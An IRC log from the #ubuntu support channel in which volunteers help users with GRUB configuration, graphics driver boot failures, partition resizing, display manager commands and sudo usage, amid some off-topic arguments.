[00:00] <almoxarife> Cur10u8: no, you dont
[00:00] <Cur10u8> But I don't know how do it?
[00:00] <LovesLinux> ikonia so you can cluster cpu and ram?
[00:00] <ikonia> Cur10u8: please take your silly behaviour elsewhere
[00:00] <Cur10u8> I've lost everything
[00:00] <ikonia> LovesLinux: yes, there is resource distribution
[00:01] <ikonia> Chakotay_: ok, look in /etc/grub.d (again I'm working from memory here, so help me out a little)
[00:01] <LovesLinux> ikonia cool. Ive only used vbox on desktop so thanks for correcting my inaccuracy
[00:01] <Tisgy> laggy
[00:01] <Tisgy> very laggy
[00:01] <ikonia> LovesLinux: if you've only used it on a desktop - why are you telling people it's not enterprise level...when you have no idea
[00:01] <Cur10u8> good bye world ! wish u good luck Linux. I'was a linux lover.Good Bye !!!
[00:01] <ikonia> Cur10u8: ok - bye
[00:02] <LovesLinux> ikonia because I have experience in other platforms in virtualisation
[00:02] <ikonia> LovesLinux: yes, but you have no experience with virtual box, and the question was "is virtual box enterprise ready"
[00:02] <Tisgy> !ping tisgy
[00:02] <LovesLinux> ikonia ok so I got something wrong
[00:02] <ikonia> so telling someone "no - you need $Y or $X" is just you making it up from no experience or knowledge
[00:02] <thoonai> hey someone able to explain why creating user is stuck?
[00:02] <ikonia> I'd like you to stop that please.
[00:03] <LovesLinux> ikonia I advised on my knowledge
[00:03] <ikonia> LovesLinux: yes, you had no knowledge on the topic, so you made it uyp
[00:03] <ikonia> up
[00:03] <Chakotay_> ikonia: I found the grub text doc in /etc/default/ but it doesn't have any lines with those numbers in it
[00:03] <LovesLinux> ikonia I have knowledge on virtualisation
[00:03] <LovesLinux> and Linux
[00:04] <ikonia> LovesLinux: you have no knowledge of virtual box in the enteprirse, which is what the question was - so I can only assume you made it up
[00:04] <LovesLinux> ikonia no I made an assumption
[00:04] <ikonia> Chakotay_: look in /etc/grub.d (again you need to dig a little as I don't have an ubuntu machine here)
[00:04] <thoonai> hey someone able to explain why creating user is stuck?
[00:04] <ikonia> LovesLinux: right - so don't make things up/assume. If you don't know the answer ,- don't respond
[00:05] <LovesLinux> ikonia yes daddy
[00:05] <ikonia> Chakotay_: try a grep -R in /etc as I can't see the layout on ubuntu here
[00:05] <ikonia> LovesLinux: please don't get smart with me, you're missleading people with incorrect information and bad advice - I'm asking you to stop
[00:05] <LovesLinux> ikonia do you know how to compile a kernel??
[00:06] <ikonia> LovesLinux: yes, why ?
[00:06] <LovesLinux> ikonia how?
[00:06] <ikonia> why ? we don't support custom kernels here ?
[00:06] <LovesLinux> ikonia I know do you?
[00:06] <ikonia> yes,
[00:06] <LovesLinux> ikonia answer then :)
[00:06] <almoxarife> LovesLinux: you really should quit
[00:06] <ikonia> no, this isn't a "test" channel - research me and find out what projects I'm involved in
[00:07] <ikonia> you may get an idea that I can "compile a kernel"
[00:07] <almoxarife> LovesLinux: he can compile a kernel, leave it
[00:07] <Chakotay_> ikonia: OK, it shows /etc/default/grub
[00:07] <thoonai> hey someone able to explain why creating user is stuck?
[00:07] <ikonia> Chakotay_: ahh you got it, nice one
[00:07] <LovesLinux> ikonia dont put someone down who has a commitment to helping others then. Not everyone is right all the time
[00:07] <ikonia> Chakotay_: up date that
[00:07] <ikonia> thoonai: how are you creating it ?
[00:07] <almoxarife> thoonai: 'stuck'?
[00:07] <ikonia> Chakotay_: "update" that sorry
[00:08] <ikonia> LovesLinux: I'm not putting you down, I'm asking you to stop making things up / assuming things, and thus offering bad / incorrect advice to people
[00:08] <thoonai> hes nothing doing while creating user
[00:08] <LovesLinux> ikonia Im rarely wrong
[00:08] <ikonia> LovesLinux: 2 times in 2 question is not a good strike rate
[00:08] <thoonai> with encrypted home folder and no swap
[00:08] <LovesLinux> ikonia I see your point
[00:09] <Evil_Eric> almoxarife, i dont see why your getting onto lovelinux when it was ikonia who got rude on how he/she told LovesLinux to stop giving adivise they dont know about wich i agree but do not agree how they were asked and trolled on over
[00:09] <Chakotay_> ikonia: it says "command not found"
[00:09] <ikonia> Chakotay_: sorry what does
[00:09] <Chakotay_> ikonia: when I do sudo update-grub
[00:10] <ikonia> Chakotay_: hang on, why are you doing that ?
[00:10] <ikonia> who told you to run that / where did you get that information ?
[00:10] <LovesLinux> ikonia I was trying to give helpful advise though . The way I learned was trying possibility's
[00:10] <ikonia> LovesLinux: yes, it was bad advice and miss-leading advice, that is bad
[00:10] <ikonia> if you don't know, it's fine not to answer,
[00:11] <Chakotay_> ikonia: Sorry, I misunderstood you. I was reading that at the top of the grub file
[00:11] <ikonia> Chakotay_: no problem,
[00:11] <LovesLinux> ikonia I said vbox wasnt capable of doing something one as its an Ubuntu support channel assumed it was a desktop so what I said was RIGHT
[00:11] <ikonia> Chakotay_: the file is just a text file, so update the bad uuid with the good uuid first
[00:11] <almoxarife> Evil_Eric: they are both gone on too long, but come on, the nick asked if ikonia can compile???? that did it for me, i chose a side, i am bad way
[00:12] <Chakotay_> ikonia: It doesn't have any lines with the numbers we are looking for
[00:12] <ikonia> LovesLinux: no, he clearly said he wanted to run enteprrise servers
[00:12] <ikonia> LovesLinux: if you are unable to read the questions clearly - it's better not to answer
[00:12] <ikonia> LovesLinux: again - please stop trying to argue, I'm trying to cut you some slack here
[00:12] <LovesLinux> ikonia if your running enteprise dont use Ubuntu
[00:12] <ikonia> Chakotay_: ahhh, sorry, I thought you'd found the lines in question
[00:12] <ikonia> LovesLinux: agian - you're wrong
[00:12] <ikonia> so please stop talking
[00:13] <jrib> LovesLinux: let's get back to ubuntu support here please
[00:13] <Chakotay_> ikonia: http://paste.ubuntu.com/1386704/
[00:13] <ikonia> Chakotay_: got to find the bad line
[00:13] <Evil_Eric> lol its all good im not siding with either im just tired of seeing it either way honestly i figure if they wanna continue the discussion they should take it to pm
[00:13] <LovesLinux> ikonia I now more about Linux than you do it seems
[00:13] <Chakotay_> ikonia: can you see where it's bad?
[00:13] <ikonia> LovesLinux: please stop trying to test me
[00:13] <ikonia> Chakotay_: sorry sorry, let me try to explain again
[00:14] <skulltip> how about adding an option on the ubuntu DVD to upgrade existing instead of either alongside or overlay it? Especially if you skip a few releases..
[00:14] <ikonia> Chakotay_: I'm not on an ubuntu box, so I can't do it %100 for you, so you need to help me a little
[00:14] <jrib> ikonia, Chakotay_: haven't read the whole scrollback but UUIDs are only going to show up in the generated /boot/grub/grub.cfg
[00:14] <ikonia> Chakotay_: in one of the grub configs, it's referencing the wrong uuid, which is why you are seeing the error you are getting
[00:14] <skulltip> or a way to keep the home partition without manual intervention, even if it's on the same partition?
[00:14] <ikonia> jrib: ahh, perfect, so where is it picking up the uuid when it generates the config ?
[00:14] <ikonia> jrib: it's picking up the wrong device.
[00:14] <skulltip> that would be a bonus feature for all I think.
[00:15] <ikonia> skulltip: raise a request on launchpad.net
[00:15] <skulltip> ok thanks
[00:15] <ikonia> skulltip: I'm people do read the requests
[00:15] <ikonia> skulltip: sorry not "I'm"
[00:15] <ikonia> skulltip: I meant, people do read the requests
[00:15] <skulltip> cool
[00:16] <Chakotay_> ikonia: I am sorry about that. Thanks jrib, I found it now
[00:16] <ikonia> Chakotay_: you got it ?
[00:16] <ikonia> Chakotay_: no need to apologise
[00:16] <Chakotay_> ikonia: yes
[00:16] <ikonia> perfect,
[00:17] <Chakotay_> ikonia: thank you for being patient with me
[00:17] <ikonia> not a problem
[00:17] <ikonia> Chakotay_: when you update it, re-generate the grub.conf
[00:17] <thoonai> hey someone able to explain why creating user is stuck?
[00:17] <anon_> WAZZUP
[00:18] <Freddie_> If only I had found this channel BEFORE I had started trying to connect my Ubuntu Server to the internet. Would've solved it a lot quicker :L
[00:18] <Chakotay_> ikonia: just to make sure I am doing the right thing... I am changing out the numbers that are bad with the numbers we got in terminal, correct?
[00:18] <thoonai> im stuck at creating user while installing
[00:19] <ikonia> Chakotay_: perfect
[00:19] <ikonia> thoonai: yes, you said, could you give a little more detail please.
[00:19] <thoonai> I just typed my name, the computers name, my nick, my password 2 times and then I ticked encrypt my homefolder
[00:20] <ikonia> thoonai: are you using the gui ?
[00:20] <thoonai> zes
[00:20] <ikonia> no idea on the gui or how it hooks in
[00:21] <thoonai> ikonia: yes
[00:22] <thoonai> I just dislike this gui installer
[00:24] <almoxarife> thoonai: the 'mini.iso' (net-install) has lots of install options, one being cli
[00:24] <AndroUser> Don't go into the Linux distro community they are just a bunch of trolls
[00:24] <Zelator> hi there.
[00:24] <Zelator> anyone available?
[00:24] <ikonia> AndroUser: you're welcome to /part
[00:24] <ikonia> Zelator: hello, 1400+ people here
[00:25] <AndroUser> No another Linux community I got trolled by there admins
[00:26] <ikonia> AndroUser: ok, well this channel doesn't need to hear about it please.
[00:26] <AndroUser> Ok sorry

[00:26] <rachmoninav> helo
[00:26] <tavoe> hey
[00:26] <tavoe> hey
[00:27] <jrib> AndroUser: you can use #ubuntu-offtopic if you still want opinions about distros
[00:27] <rachmoninav> Anyone know if Ubuntu 12.04
[00:27] <rachmoninav> has nmcli support?
[00:27] <rachmoninav> For power users...
[00:27] <jrib> rachmoninav: yes, it should...
[00:27] <rachmoninav> Network-manager client.
[00:27] <Freddie_> Does this channel cover only Ubuntu-desktop or does it also cover ubuntu-server ?
[00:27] <rachmoninav> Can't find it in the repositories...
[00:27] <jrib> rachmoninav: it's included with network-manager
[00:27] <ikonia> Freddie_: server too, plus there is #ubuntu-server
[00:27] <ikonia> (for specific stuff)
[00:28] <Freddie_> ok
[00:28] <jrib> !find nmcli
[00:28] <bulletrulz> um when trying to install remobo
[00:28] <Freddie_> I shall use that one tomorrow once I am able to get back onto my server
[00:28] <ikonia> reobo ?
[00:28] <ikonia> remobo ? what is that
[00:28] <bulletrulz> on lubuntu i get a dependicie error chkconfig
[00:28] <rachmoninav> haha

[00:29] <FloodBot1> bulletrulz: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[00:30] <bulletrulz> ggg
[00:30] <Chakotay_> ikonia: I searched that grub file 3 times, and it has no mention of the bad uuid. I see the right one mentioned
[00:31] <ikonia> Chakotay_: great ! then you're sorted
[00:31] <jrib> Chakotay_: assuming you don't have some other grub installed somewhere else ;)
[00:32] <tavoe> is this an ok place to ask tech support questions?
[00:32] <Chakotay_> ikonia: I will restart the PC and let you know if it works
[00:32] <ikonia> Chakotay_: I'm sure you'll be fine
[00:32] <thoonai> ok im just depressingly depressed and install gentoo :P
[00:33] <jrib> tavoe: go ahead
[00:34] <tavoe> I've been messing with amd graphics drivers for days, and I think I've finally hit a new low. I'm trying to find some alternative to wiping the whole partition and reinstalling, and am almost out of ideas
[00:35] <almoxarife> tavoe: an alternative to a full wipe is a wipe of the drivers you installed so far
[00:35] <eted> Hello,i d like to ask something about sharing internet connection with other pcs .Is this the correct channel?
[00:35] <thoonai> tavoe: wheres the relation between amd graphics and wiping the partition o.O
[00:35] <thoonai> eted: if its related to ubuntu: yes
[00:35] <tavoe> well, I can't get a graphical environment to start up
[00:36] <thoonai> tavoe: dont even a shell via framebuffer?
[00:36] <almoxarife> thoonai: that would be, i give up, lets get back to default state
[00:36] <thoonai> almoxarife: gentoo?
[00:36] <ziodice> So, I'm going to assume that I am in the right place, the IRC channel for ubuntu. It IS named #ubuntu. I installed Ubuntu on a different partition awhile ago, and I realized that the "18 gigabytes" installation really meant I only got 18 gigabytes of disc space from my hard drive, is there a way to expand that?
[00:36] <almoxarife> thoonai: sounds sissy, no thanks
[00:37] <veryhappy> ziodice: gparted
[00:37] <eted> well, i v got 1 laptop and 1 desk pc.I use an outdoor ralink antenna to connect to neibhoors open wireless.How can i share that connection with the desk pc witch has Win 7 via cable?
[00:37] <tavoe> The best I can do is start a command prompt if I add nomodeset to the grub options. From there I have tried removing all the propritary graphics drivers and rebooting. Nothing. I then tried installing the propritary amd drivers from ubuntu's repos. Still nothing. So I used the live CD to reinstall without removing my personal files. Still nothing. I don't know how things wen't so wrong
[00:37] <thoonai> eted: in the graphical network manager. theres an option shared to other computers
[00:38] <thoonai> eted: like dhcp or static
[00:38] <almoxarife> tavoe: you can access a terminal? and have internet access?
[00:38] <ziodice> I'm sorry? I'm still quite new to anything closed to advanced computer usage, explain? Wait, no, better, I'll just use the great art of Google fu.
[00:39] <hanks> So confuised... x11vnc is going black every I stop moving the mouse, unless I lock my computer
[00:39] <tavoe> what the hell. Something good just happened. I don't know why. Yes, I can access a terminal. The graphics just appeared after I told it to cd (change dir). That doesn't make any sense, but i'll take it, I guess.
[00:39] <jrib> !gparted | ziodice
[00:39] <veryhappy> guys what can i do i have a notebook with an extra graphics card is there a possibility to use a mode like twin view for more than just 2 monitors? i want to use 3 monitors, notebook screen, vga monitor and hdmi tv and why isn't there an option for overscan for hdmi in nvidia-current-updates?
[00:39] <jrib> ziodice: note that gparted can also be used from the ubuntu live cd
[00:41] <almoxarife> veryhappy: there is an option for 'overscan' , but its hard to see if you are overscanned
[00:41] <eted> thoonai Thank you, i m goin to check it
[00:42] <veryhappy> almoxarife: no almoxarife i was still able to see the whole option site and there were only 2 options but no overscan...
[00:42] <almoxarife> nvidia placed the overscan fixer at the bottom of the page where one surely would not see it if they were overscanned, how about that! :)
[00:43] <veryhappy> almoxarife: oh... nice
[00:43] <skulltip> how do i clean this up when i do sudo apt-get update?
[00:43] <skulltip> http://pastebin.com/crpiprfA
[00:44] <Danawar> Hey Ubuntu #httpd pointed me here i have a problem that when some one uploads a file on my phpbb forums more than one mb it crashes the servers ethenet stoping all inbound and outbound connections taking the eth0 down the up fixes it but how can i prevent this from happening also, whats logs would i find information in i have checked syslog and kernlog and cant find anything! =[
[00:44] <ziodice> Um...how do I know which one of those 3 things that popped up is the one wit Ubuntu on it?
[00:45] <jrib> ziodice: are you on a live cd?
[00:45] <veryhappy> almoxarife: no, still don't see the option, i only got Digital Vibrance and Image Sharpening, where can i find it again?
[00:45] <ziodice> No, actually, I just installed it and ran it...
[00:45] <ziodice> the gparted, that is.
[00:45] <jrib> ziodice: you should not be resizing mounted partitions
[00:46] <almoxarife> veryhappy: which driver is installed?
[00:46] <veryhappy> nvidia-current-updates
[00:46] <ziodice> I'd prefer having a bit more space on this. Is there a way you'd recommend?
[00:46] <almoxarife> veryhappy: the number of the rev?
[00:46] <jrib> ziodice: yes, use a live cd
[00:46] <jrib> ziodice: (to resize your partition)
[00:46] <DarkAceLaptop> how do I set the compose key in U12.10? I just can't find it
[00:46] <veryhappy> almoxarife: where do i find it?

[00:49] <Guest99554> i just download wine, but cant find it
[00:49] <Guest99554> I am used to using 10.04 and this new design is not very good
[00:49] <DarkAceLaptop> Guest99554, that's very old
[00:49] <DarkAceLaptop> you don't want that
[00:50] <DarkAceLaptop> everything will be very outdated and glitchy
[00:50] <Guest99554> well now I am current and running on an I7 with 8gigs and I am ready to go
[00:50] <DarkAceLaptop> oooh
[00:50] <DarkAceLaptop> I thought you were still on 10
[00:50] <DarkAceLaptop> :P
[00:50] <DarkAceLaptop> I'll just shut up
[00:50] <almoxarife> veryhappy: i cant access nvidia config via ssh, makes sense
[00:50] <DarkAceLaptop> how do I set the compose key in U12.10? I just can't find it
[00:50] <michael_p> hi
[00:50] <DarkAceLaptop> hi
[00:51] <michael_p> what recommendations on desktops
[00:51] <DarkAceLaptop> hah
[00:51] <Guest99554> So I downloaded Wine. I want to be able to run Manycam to broadcast. Where is wine locasted?
[00:51] <veryhappy> almoxarife: why would you want to acess nvidia over ssh?
[00:51] <jrib> DarkAceLaptop: open up gonme control center → keyboard layout → layout options (bottom left corner)
[00:51] <DarkAceLaptop> !
[00:52] <DarkAceLaptop> where's Gnome Control Center? lol
[00:52] <almoxarife> veryhappy: so i could see if my rev number is higher or lower than yours, i can see the overscan option
[00:52] <Random832> cpufreq-set won't let me increase my frequency
[00:52] <veryhappy> ah
[00:52] <jrib> DarkAceLaptop: it's in the left bar, or use dash, or just run gnome-control-center in a terminal
[00:52] <miozoim> hello, i'm on xubuntu 12.04 dual boot windows 7 . Is it possible to replace xubuntu 12.04 by debian ?
[00:52] <moemoemm> Guest99554: Just right-click to the Windows application & click "open with wine program loader." You can find Wine from Dash (Ubuntu Icon on the left) >> type wine or winetricks
[00:53] <veryhappy> miozoim: you can replace all windows versions with linux
[00:53] <Guest99554> how do I get to terminal? i cant find it!!
[00:53] <jrib> Guest99554: type "terminal" in dash
[00:53] <jrib> DarkAceLaptop: if you look for it in the left bar, it should say something like "system settings"
[00:54] <DarkAceLaptop> jrib, I got it, thanks!
[00:54] <veryhappy> miozoim: i'm sorry didn't read right... you can should be able to replace xubuntu with debian, but then you have to install the complete debian over xubuntu
[00:54] <Guest99554> oh gee!!! so I have to type in the name of the program that i loaded to find it? how do i make it on my desktop?
[00:54] <Guest99554> oh I see click and drag it
[00:54] <Guest99554> ty
[00:55] <miozoim> is it complicated or is it automatic ? Do I need to change things on GRUB ?
[00:55] <DarkAceLaptop> jrib, it's not working
[00:56] <DarkAceLaptop> my DE is MATE, if that changes anything
[00:56] <almoxarife> veryhappy: my current rev is 295.20 , its outdated for stability, i want the nvidia to function at all cost
[00:56] <jrib> DarkAceLaptop: you found the setting but it doesn't do anything?
[00:56] <DarkAceLaptop> when I try to use the compose key nothing happens
[00:57] <jrib> DarkAceLaptop: what's xev report for your compose key?
[00:57] <Guest99554> oh no!!! I have a new problem

[00:57] <Guest54966> Can someone help me out with killing X on Ubuntu 12.10?
[00:57] <jrib> DarkAceLaptop: sorry, xev is a program you run in your terminal.  Once it opens, move your pointer into the new window and press your compose key
[00:58] <DarkAceLaptop> okay
[00:58] <Guest99554> oh I see!! it is sharing the screen. Where do I find the screen sharing thing?

[00:59] <DarkAceLaptop> seems a bit much for the channel
[00:59] <jrib> DarkAceLaptop: nah, you can just tell me what it reports for the key
[01:00] <jrib> DarkAceLaptop: like "Multi_Key", perhaps?
[01:00] <DarkAceLaptop> jrib, eh, already done: http://pastebin.com/EDwQgT2W
[01:00] <veryhappy> almoxarife: i guess i'll better stick with nvidia-current on the other pc where i rather need the hdmi output
[01:00] <veryhappy> there's still the option
[01:00] <veryhappy> thanks
[01:01] <veryhappy> take care
[01:01] <DarkAceLaptop> not anything like "Multi_Key" as far as I can see
[01:01] <DarkAceLaptop> it's probably my MATE though
[01:01] <eted> do i have to enter manuall settings on win pc when sharing the internet connection from Ubuntu?
[01:02] <dibblego> when I press meta-p, the monitor configuration changes with the vesa driver — how can I remap it?
[01:02] <almoxarife> veryhappy: i have nvidia with hdmi output (vid&sound) on xbmc-buntu for entertainment, i opt for stability over bleeding-edge
[01:03] <ethan_> Hey everyone! Can anyone help me to stop X on Ubuntu 12.10? The "/etc/init.d/gdm stop" command isn't working. I assume there is a different file that I need to stop?
[01:03] <seednode> Well, to just straight up kill it.
[01:03] <seednode> killall Xorg, maybe?
[01:03] <phunyguy_t430s> Is it possible to change the layout of the Empathy contact list? I'm not very keen on the enlarged layout and prefer it to be small icons, etc.  I have a LOT of contacts, and it makes it harder to browse when the list uses the larger icon size.
[01:03] <Dr_willis_> ethan_,  its sudo service gdm stop
[01:03] <phunyguy_t430s> (12.10)
[01:03] <Dr_willis_> ethan_,  if you are using gdm,., lightdm is the default
[01:04] <ethan_> who told me to killall Xorg?
[01:04] <almoxarife> Dr_willis_: i think you killed kenny
[01:05] <ethan_> killall xorg just made my login screen come up
[01:05] <Dr_willis_> ethan_,  that makes sence.. since its a service...
[01:05] <Dr_willis_> ethan_,  sudo service gdm stop
[01:05] <almoxarife> ethan_: you did ask i thought
[01:05] <Dr_willis_> ethan_,  or sudo service lightdm stop
[01:05] <phunyguy_t430s> I would imagine it is lightdm
[01:06] <ethan_> ah okay. was the old command "/etc/init.d/gdm stop" or is that something different?
[01:06] <jrib> DarkAceLaptop: what key are you trying to make your compose key?
[01:06] <Dr_willis_> ethan_,  thats the SysV way.
[01:06] <Dr_willis_> ethan_,  Upstart is slowly replaceing SysV
[01:07] <ethan_> and the /etc/init.d/gdm is non-existant on my computer
[01:07] <almoxarife> cntr-alt-bckspace 2x will also get to a login post killing xorg
[01:07] <Dr_willis_> yes... the sysv method is getting removed with more and more services
[01:07] <ethan_> but thank you Dr_willis
[01:07] <ethan_> I am a noob at this and I'm slowly learning :P
[01:08] <DarkAceLaptop> jrib, that's one of the problems, yes :P I tried making it two, which doesn't work, and the other problem is that I need to set it in MATE's settings, which is under System>Preferences>Keyboard>Layouts>Option>Compose key
[01:08] <DarkAceLaptop> lol
[01:08] <sambagirl> Claude Van Dam night on Reelz! He uses Ubuntu so it's relevant!
[01:08] <DarkAceLaptop> anyways, it's working now \o/
[01:08] <ethan_> Dr_willis_, It didnt work
[01:08] <almoxarife> !mate
[01:08] <Dr_willis_> and the error message was? and the exact command you used was?
[01:09] <ethan_> gdm was not recognized. maybe I am not using gnome
[01:09] <Dr_willis_> lightdm is the default on ubuntu 12.10  as we said...
[01:09] <almoxarife> ethan_: lightdm probably
[01:09] <Dr_willis_> gdm was the default on older relases
[01:09] <k1l_> !ot > sambagirl
[01:09] <jrib> DarkAceLaptop: cool
[01:10] <ethan_> Sorry about that. I didn't catch on to that. I am trying my best to get better with all of this linux stuff :P
[01:10] <blackshirt> good luck
[01:10] <sambagirl> Sorry ubottu I don't socialize in private with bots
[01:13] <dibblego> why does 12.04 install a monitor preferences menu item, that links to gnome-display-properties, which does not exist?
[01:15] <XiaoBai> .....
[01:16] <hybridge> .\
[01:17] <XiaoBai> Which country?
[01:18] <cakeboss> Hey all. I have some issue with ubuntu booting up with a black screen. I tried nomode and it worked well enough to install, but that isn't working anymore. Can anyone help me figure out what I need to edit in Grub? I can tell you what the computer says when it freezes
[01:18] <ethan_> @cakeboss do you have nvidia or amd drivers?
[01:18] <cakeboss> ethan_ : nvidia
[01:19] <ethan_> @cakeboss I believe you have to do setmode nvidia or something like that
[01:19] <cakeboss> ethan_: can you give me some documentation? a tutorial?
[01:19] <ethan_> @cakeboss let me find it
[01:20] <XiaoBai> My English is not good who can help me?

[01:21] <XiaoBai> I'm Chinese, English is not very good, first contact with the Linux, I hope someone can teach me.
[01:21] <COrdel^> Guys, When I boot ubuntu, it goes to a menu asking for Ubuntu or memtest boots, when i try to boot i get a INITRAMFS prompt
[01:22] <blackshirt> xiaobai, your teacher can do that, to teach you :d
[01:22] <COrdel^> it says cant find /sbin/init
[01:22] <blargg> Any dash app or hotkey so I can run a shell command without having to switch to terminal first?
[01:22] <ethan_> is anyone here using ubuntu 12.10 with an nVidia driver?
[01:22] <COrdel^> yes
[01:23] <ethan_> @cordel^ you are?
[01:23] <COrdel^> i have a gtx-280
[01:23] <XiaoBai> I am using the translation.
[01:23] <COrdel^> i dont know if ubuntu has it loaded correctly though
[01:23] <ethan_> @cordel^ did you install the Nvidia drivers manually?
[01:23] <COrdel^> no
[01:23] <Darkstar1> HI all. Good evening
[01:24] <COrdel^> my ubuntu is crashed
[01:24] <blackshirt> good morning
[01:24] <ethan_> if anyone here knows how to install nvidia drivers on ubuntu12.10 please message me
[01:25] <blackshirt> ethan_, are you have download it ?
[01:25] <Darkstar1> I'm testing out the virtuozzo container thing and managed to install 10.10. when I try to update I get the error: Err http://archive.ubuntu.com maverick Release.gpg  Temporary failure resolving 'archive.ubuntu.com' are the 10.10 repos offline already?
[01:25] <Ben64> ethan_: sudo apt-get install nvidia-current
[01:25] <mdik> hi. is it possible to stop ubiquity from going into the "slideshowmode" during installation? (because that crashes the program on an old machine i try to install ubuntu on)
[01:25] <ethan_> blackshirt, the installer told me that it isnt  going to work with my noveau kernal
[01:26] <ethan_> what can I even do?
[01:26] <Ben64> ethan_: sudo apt-get install nvidia-current
[01:26] <ethan_> ben64, how does that solve my problem?
[01:26] <blackshirt> the installer ? You mean ubuntu installer ?
[01:26] <Ben64> ethan_: that installs the nvidia drivers
[01:26] <COrdel^> what is the INITRAMFS prompt and how do i get out of it
[01:26] <moemoemm> XiaoBai: have you tried #ubuntu-cn
[01:26] <Darkstar1> ………. Anyone?
[01:27] <XiaoBai> This is the Chinese channel.
[01:27] <god_is_dead> what is the best linux version for my son?
[01:27] <XiaoBai> This is the Chinese channel.
[01:27] <blargg> I found it: Alt-F2. Opens from Dash where you enter command lines
[01:28] <ethan_> @blackshirt I meant the nvidia driver installer
[01:28] <XiaoBai> I want to learn the world.
[01:28] <blackshirt> god_is_dead, skolelinux,debian edu, or ubuntu edu
[01:28] <ethan_> how do I re-enavle noveau kernel?
[01:28] <usr13> Darkstar1: 10.10 EOL = April 10, 2012
[01:29] <k1l_> !cn | XiaoBai
[01:29] <blackshirt> ethan_, bring down your gui first
[01:29] <cakeboss> Can anyone explain to me whats going on. I have ubuntu 12.10, I edited grub with nomodeset. However after that code just floods the screen then the monitor goes black
[01:29] <Darkstar1> Shit!!
[01:29] <Darkstar1> usr13: 10.04 still going?
[01:29] <k1l_> god_is_dead: if you ask in a ubuntu channel, its of course ubuntu!
[01:29] <ethan_> @blackshirt do you mean stop lightdm?
[01:29] <XiaoBai> I know, but I want to learn english.
[01:29] <ethan_> @cakeboss what is it flooding?
[01:30] <usr13> Darkstar1: Yes, (10.04 is LTS).  LTS Desktop = 3 years
[01:30] <cakeboss> ethan_: I am not sure
[01:30] <k1l_> XiaoBai: for just talking better join #ubuntu-offtopic
[01:30] <usr13> Darkstar1: https://wiki.ubuntu.com/Releases
[01:30] <cakeboss> ethan_: daemons and stuff. Too fast for me to read it all
[01:30] <ethan_> @cakeboss sorry man i dont know
[01:30] <XiaoBai> I went to have a look
[01:31] <XiaoBai> #ubuntu-offtopic
[01:32] <usr13> Darkstar1: LTS: https://wiki.ubuntu.com/LTS
[01:33] <Darkstar1> usr13: Thanks. Should've known and installed the LTS version
[01:33] <usr13> Darkstar1: Yep

[01:40] <mdik> blackshirt: were those wiki-pages directed towards me?
[01:40] <cakeboss> Cam someone please help me that knows stuff about GRUB?
[01:40] <seednode> Sorry, cakeboss, I use syslinux. I can still try, though.
[01:40] <seednode> What's the issue?
[01:40] <blackshirt> noveau was opensource version of nvidia driver ... If you want install binary version from nvidia, you should remove/disable it
[01:41] <cakeboss> seednode: Black screen when booting. I tried to use nomodeset, not doing much though. The most that gets me is some code flying by the screen. I have nvidia
[01:41] <ethan_> @blackshirt ty

[01:50] <XiaoBai> I also used the ubuntu12.10
[01:50] <blackshirt> no
[01:50] <d4rkh4nd8> Its never crashed, i installed from the site not the software center thou
[01:50] <ethan_> i installed from the site which rereouted to software center
[01:51] <d4rkh4nd8> It should have updated the deb thou then installed right
[01:51] <ethan_> i believe so
[01:51] <d4rkh4nd8> I would fist try a reinstall ethan
[01:52] <ethan_> are you using lightdm?
[01:52] <gaby> Hello - any body can help me how to apply the cinnamon themes - i have already installed it but i cant apply it
[01:52] <blackshirt> cakeboss, nomodeset was not working?
[01:53] <ethan_> d4rk, are you using lightdm?
[01:53] <d4rkh4nd8> kde
[01:53] <XiaoBai> .
[01:53] <cakeboss> blackshirt: no, it isn't
[01:53] <ethan_> d4rk, could that be affecting anything?
[01:53] <blackshirt> cakeboss, sound bad
[01:54] <blackshirt> cakeboss, what tip do you have trying to make it works ?
[01:54] <gaby> Hello - any body can help me how to apply the cinnamon themes - i have already installed it but i cant apply it
[01:54] <d4rkh4nd8> Im not sure but there is a differance so my guess would be yes
[01:54] <syntroPi> how would i install skype on quantal x64? I tried the one from canonical parnter repo but its broken (depends on skype-bin which is not avail)....
[01:54] <blackshirt> xiaobai, what is the problem ? More detail
[01:54] <cakeboss> blackshirt: I just fixed it, I believe
[01:54] <ethan_> @syntropi can you not use the download links at skype.com?
[01:54] <cakeboss> blackshirt: yup
[01:55] <syntroPi> ethan_, id prefer a repo since i get updates from it then
[01:55] <blackshirt> cakeboss, good luck ... Glad to hear that
[01:55] <XiaoBai> I want to learn english.
[01:55] <ethan_> @syntropi ah fair enough :)
[01:56] <cakeboss> blackshirt: If you could tell people in the forums that say nomodeset doesnt work. They might want to try setting "quiet splash noapic" I don't see that in the official explanation
[01:56] <blackshirt> xiaobai, this is not suite place for you ... You could go to english course places im your town
[01:57] <DeltaHeavy> How do I minimize a full screen VM from KVM?
[01:57] <XiaoBai> Our method makes me helpless.
[01:57] <cakeboss> XiaoBai: what language do you speak?
[01:57] <XiaoBai> English, is that we use now.
[01:58] <cakeboss> XiaoBai: what other languages?
[01:58] <blackshirt> xiaobai, this is ubuntu support channel, if you want to ask related to ubuntu,just ask
[01:58] <gaby> ok - how to change to Root - any help ?
[01:58] <ethan_> @xiaoBai this is a channel for ubuntu. You may need to find another resource for english learning
[01:58] <ethan_> @gaby su root
[01:58] <XiaoBai> yes
[01:58] <ethan_> @gaby or sudo (command)
[01:59] <gaby> ethan_ i need to change permission and i want to be root to be able to do that ....
[01:59] <ethan_> gaby, do you know your root password?
[01:59] <blackshirt> gaby, sudo was enough for your need
[01:59] <gaby> yes
[01:59] <kvothetech> gaby: su -
[01:59] <ethan_> gaby, su root
[01:59] <McPeter> sudo chown <user>:<group> /path/to/folder/or/file
[02:00] <McPeter> root is desactivated
[02:00] <ethan_> root can be activated on ubuntu
[02:00] <McPeter> sudo -i or sudo -s to use root
[02:00] <ethan_> i did
[02:00] <McPeter> ethan_, bad idea
[02:00] <gaby> i put my password - and it says that its wrong
[02:00] <ethan_> mcpeter, I did it out of impulse when I was frustrated
[02:00] <k1l_> dont use the root account. use sudo instead. that is the ubuntu way
[02:01] <ethan_> mcpeter, but its not like I am going to use it anyways
[02:01] <designbybeck_> So anyway to see thumbnail views in an Open or Save Dialog?
[02:01] <k1l_> and dont suggest it in here, because we teach the ubuntu way :/
[02:01] <blackshirt> default install was using sudo .... But i think, sudo access should be limited to some specific command/groups of command
[02:01] <ethan_> okay gaby then use "sudo (command)"
[02:01] <McPeter> k1l_, +1
[02:01] <WoC> gaby, you can also use something like "sudo su - root" which would give you a root shell
[02:02] <k1l_> gaby: just put sudo infront of the terminal commands you want to have root-rights to
